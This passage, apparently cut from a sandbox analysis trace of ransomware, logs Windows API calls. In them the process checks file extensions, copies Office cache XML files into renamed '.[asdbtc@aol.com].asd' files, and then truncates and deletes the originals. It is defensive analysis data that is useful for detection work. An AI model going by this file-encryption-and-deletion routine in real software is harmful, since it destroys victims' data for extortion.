4 [0044.694] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.694] lstrlenW (lpString=".rar") returned 4 [0044.694] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.694] lstrlenW (lpString=".bz2") returned 4 [0044.694] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.694] lstrlenW (lpString=".7z") returned 3 [0044.694] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.694] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0044.694] lstrlenW (lpString=".dbf") returned 4 [0044.694] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.695] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0044.695] lstrlenW (lpString=".1cd") returned 4 [0044.695] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.695] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0044.695] lstrlenW (lpString=".jpg") returned 4 [0044.695] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.695] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0044.695] lstrlenW (lpString="Office32WW.xml") returned 14 [0044.695] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0044.697] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=4274) returned 1 [0044.697] CloseHandle (hObject=0x178) returned 1 [0044.697] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0044.697] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0044.697] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0044.697] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.697] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.697] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0044.697] GetLastError () returned 0x0 [0044.698] ReadFile (in: hFile=0x178, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x10b2, lpOverlapped=0x0) returned 1 [0044.704] WriteFile (in: hFile=0x19c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0044.705] ReadFile (in: hFile=0x178, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0044.705] WriteFile (in: hFile=0x19c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xf0, lpOverlapped=0x0) returned 1 [0044.705] SetEndOfFile (hFile=0x19c) returned 1 [0044.705] CloseHandle (hObject=0x19c) returned 1 [0044.706] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.706] SetEndOfFile (hFile=0x178) returned 1 [0044.736] CloseHandle (hObject=0x178) returned 1 [0044.737] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0044.738] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0044.739] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.739] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.739] lstrlenW (lpString=".doc") returned 4 [0044.739] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.739] lstrlenW (lpString=".docx") returned 5 [0044.739] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0044.739] lstrlenW (lpString=".pdf") returned 4 [0044.739] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.739] lstrlenW (lpString=".xls") returned 4 [0044.739] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.739] lstrlenW (lpString=".xlsx") returned 5 [0044.739] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0044.740] lstrlenW (lpString=".ppt") returned 4 [0044.740] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.740] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.740] lstrlenW (lpString=".zip") returned 4 [0044.740] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.740] lstrlenW (lpString=".rar") returned 4 [0044.740] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.740] lstrlenW (lpString=".bz2") returned 4 [0044.740] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.740] lstrlenW (lpString=".7z") returned 3 [0044.740] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.740] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.740] lstrlenW (lpString=".dbf") returned 4 [0044.740] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.740] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.740] lstrlenW (lpString=".1cd") returned 4 [0044.740] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.740] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.740] lstrlenW (lpString=".jpg") returned 4 [0044.740] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.740] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.740] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.740] lstrlenW (lpString=".doc") returned 4 [0044.740] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.741] lstrlenW (lpString=".docx") returned 5 [0044.741] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0044.741] lstrlenW (lpString=".pdf") returned 4 [0044.741] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.741] lstrlenW (lpString=".xls") returned 4 [0044.741] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.741] lstrlenW (lpString=".xlsx") returned 5 [0044.741] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0044.741] lstrlenW (lpString=".ppt") returned 4 [0044.741] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.741] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.741] lstrlenW (lpString=".zip") returned 4 [0044.741] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.741] lstrlenW (lpString=".rar") returned 4 [0044.742] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.742] lstrlenW (lpString=".bz2") returned 4 [0044.742] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.742] lstrlenW (lpString=".7z") returned 3 [0044.742] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.742] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.742] lstrlenW (lpString=".dbf") returned 4 [0044.742] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.742] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.742] lstrlenW (lpString=".1cd") returned 4 [0044.742] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.742] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.742] lstrlenW (lpString=".jpg") returned 4 [0044.742] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.742] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0044.742] lstrlenW (lpString="Office32WW.xml") returned 14 [0044.742] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0044.745] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=4274) returned 1 [0044.745] CloseHandle (hObject=0x178) returned 1 [0044.745] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0044.745] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0044.745] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0044.745] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.745] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.745] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0044.746] GetLastError () returned 0x0 [0044.746] ReadFile (in: hFile=0x178, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x10b2, lpOverlapped=0x0) returned 1 [0044.764] WriteFile (in: hFile=0x16c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0044.765] ReadFile (in: hFile=0x178, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0044.766] WriteFile (in: hFile=0x16c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xf0, lpOverlapped=0x0) returned 1 [0044.766] SetEndOfFile (hFile=0x16c) returned 1 [0044.766] CloseHandle (hObject=0x16c) returned 1 [0044.767] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.767] SetEndOfFile (hFile=0x178) returned 1 [0044.768] CloseHandle (hObject=0x178) returned 1 [0044.768] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0044.769] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0044.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.769] lstrlenW (lpString=".doc") returned 4 [0044.769] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.769] lstrlenW (lpString=".docx") returned 5 [0044.769] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0044.769] lstrlenW (lpString=".pdf") returned 4 [0044.769] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.769] lstrlenW (lpString=".xls") returned 4 [0044.769] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.769] lstrlenW (lpString=".xlsx") returned 5 [0044.769] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0044.769] lstrlenW (lpString=".ppt") returned 4 [0044.769] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.769] lstrlenW (lpString=".zip") returned 4 [0044.769] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.769] lstrlenW (lpString=".rar") returned 4 [0044.769] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.770] lstrlenW (lpString=".bz2") returned 4 [0044.770] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.770] lstrlenW (lpString=".7z") returned 3 [0044.770] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.770] lstrlenW (lpString=".dbf") returned 4 [0044.770] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.770] lstrlenW (lpString=".1cd") returned 4 [0044.770] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.770] lstrlenW (lpString=".jpg") returned 4 [0044.770] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.770] lstrlenW (lpString=".doc") returned 4 [0044.770] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.770] lstrlenW (lpString=".docx") returned 5 [0044.770] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0044.770] lstrlenW (lpString=".pdf") returned 4 [0044.770] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.770] lstrlenW (lpString=".xls") returned 4 [0044.770] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.770] lstrlenW (lpString=".xlsx") returned 5 [0044.770] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0044.770] lstrlenW (lpString=".ppt") returned 4 [0044.770] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.770] lstrlenW (lpString=".zip") returned 4 [0044.770] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.771] lstrlenW (lpString=".rar") returned 4 [0044.771] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.771] lstrlenW (lpString=".bz2") returned 4 [0044.771] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.771] lstrlenW (lpString=".7z") returned 3 [0044.771] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.771] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.771] lstrlenW (lpString=".dbf") returned 4 [0044.771] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.771] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.771] lstrlenW (lpString=".1cd") returned 4 [0044.771] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.771] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.771] lstrlenW (lpString=".jpg") returned 4 [0044.771] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.771] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0044.771] lstrlenW (lpString="VisiorWW.xml") returned 12 [0044.771] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0044.772] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=8723) returned 1 [0044.773] CloseHandle (hObject=0x178) returned 1 [0044.773] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 0x2020 [0044.773] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0044.773] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0044.773] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.773] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.773] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0044.773] GetLastError () returned 0x0 [0044.774] ReadFile (in: hFile=0x178, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x2213, lpOverlapped=0x0) returned 1 [0044.789] WriteFile (in: hFile=0x16c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x2220, lpOverlapped=0x0) returned 1 [0044.790] ReadFile (in: hFile=0x178, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0044.791] WriteFile (in: hFile=0x16c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.791] SetEndOfFile (hFile=0x16c) returned 1 [0044.791] CloseHandle (hObject=0x16c) returned 1 [0044.792] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.792] SetEndOfFile (hFile=0x178) returned 1 [0044.793] CloseHandle (hObject=0x178) returned 1 [0044.793] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0044.793] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 1 [0044.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0044.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0044.793] lstrlenW (lpString=".doc") returned 4 [0044.793] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.793] lstrlenW (lpString=".docx") returned 5 [0044.793] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0044.793] lstrlenW (lpString=".pdf") returned 4 [0044.793] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.793] lstrlenW (lpString=".xls") returned 4 [0044.793] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.794] lstrlenW (lpString=".xlsx") returned 5 [0044.794] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0044.794] lstrlenW (lpString=".ppt") returned 4 [0044.794] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0044.794] lstrlenW (lpString=".zip") returned 4 [0044.794] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.794] lstrlenW (lpString=".rar") returned 4 [0044.794] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.794] lstrlenW (lpString=".bz2") returned 4 [0044.794] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.794] lstrlenW (lpString=".7z") returned 3 [0044.794] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0044.794] lstrlenW (lpString=".dbf") returned 4 [0044.794] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0044.794] lstrlenW (lpString=".1cd") returned 4 [0044.794] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0044.794] lstrlenW (lpString=".jpg") returned 4 [0044.794] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0044.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0044.794] lstrlenW (lpString=".doc") returned 4 [0044.794] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.794] lstrlenW (lpString=".docx") returned 5 [0044.794] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0044.794] lstrlenW (lpString=".pdf") returned 4 [0044.794] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.795] lstrlenW (lpString=".xls") returned 4 [0044.795] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.795] lstrlenW (lpString=".xlsx") returned 5 [0044.795] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0044.795] lstrlenW (lpString=".ppt") returned 4 [0044.795] lstrcmpiW 